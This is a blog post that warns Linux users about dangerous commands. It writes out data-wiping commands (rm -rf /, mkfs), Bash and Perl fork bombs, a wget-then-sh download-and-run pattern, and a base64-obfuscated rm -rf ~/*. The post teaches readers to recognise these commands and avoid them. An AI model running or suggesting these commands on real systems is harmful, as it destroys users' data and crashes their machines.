Malicious Linux commands to avoid


Warning: Don't run these commands on your machine. They can erase your valuable data or crash your machine.

It is worthwhile to have basic knowledge about malicious commands in Linux. Don't blindly run the commands instructed in websites or scripts downloaded from the internet. Just verify the contents of the script for any commands that can harm your computer.
If you want to know what a command can do use the man pages if you are offline. You can get the information of a command by typing
info <command name>
in the terminal.
Example: info sudo
If you are connected to the internet then type
man <command name>
in the terminal to get the updated documentation.
Example: man sudo
Again, the following commands can heavily damage your OS. These are extremely dangerous and should not be attempted on any computer that has any physical connection to valuable data.

1. COMMANDS THAT CAN DELETE FILES AND FOLDERS

       

rm -rf /
rm -rf .
rm -rf *
       
 

rm means remove, -f means "force" deletion (even if write protected), and -r means do it recursively, i.e. all sub folders.
rm -rf / means delete everything in the root directory and all sub folders.
rm -rf .  means delete the current directory and all sub folders.
rm -rf * means delete all files in current directory and all sub folders.
2. COMMANDS THAT CAN REFORMAT A DRIVE:
       

mkfs
mkfs.ext3
mkfs.anything        
       
 
Whatever follows the mkfs command will be destroyed and replaced with a blank filesystem.
3. FORKBOMB:
  • In Bourne-ish shells (like Bash):
       
:(){:|:&};:
           
       
 
 
  • In Perl
       
fork while fork
            
       
 
 
These commands execute a huge number of processes until the system freezes, forcing 
a hard reset of the computer (which may cause data corruption, operating system damage). 


4. TARBOMB:
This tar archive can be crafted to explode into a million files, or can inject files into the system by guessing file names. So, be careful with tar files or compressed files downloaded from the internet.


5. MALICIOUS CODE IN SHELL SCRIPTS:
       
wget http://some_address/some_file
sh ./some_file
           
       
 

Be careful while downloading scripts from the internet. They might contain benign or malicious code. Never execute code from people you don't trust.
6. MALICIOUS SOURCE CODE TO BE COMPILED THEN EXECUTED :
Do not compile or execute the resulting compiled code unless the source is some well-known application obtained from a reputable site.
It is easy to hide malicious code as a part of a source code.


7.BASE64 COMMANDS :
       
echo cm0gLXJmIH4vKg== | base64 -d
            
       
 

This is the base64 form of rm -rf ~/*
So, just be careful while executing commands or scripts.
This post isn't an exhaustive list of malicious commands. There are more malicious commands out there. So, be a command literate before you start using the command-line.

Popular posts from this blog

INSTALLING MOBILE PARTNER IN LINUX

How to setup a wifi-hotspot in Ubuntu: The terminal way.

How to install OpenVAS 7 in Ubuntu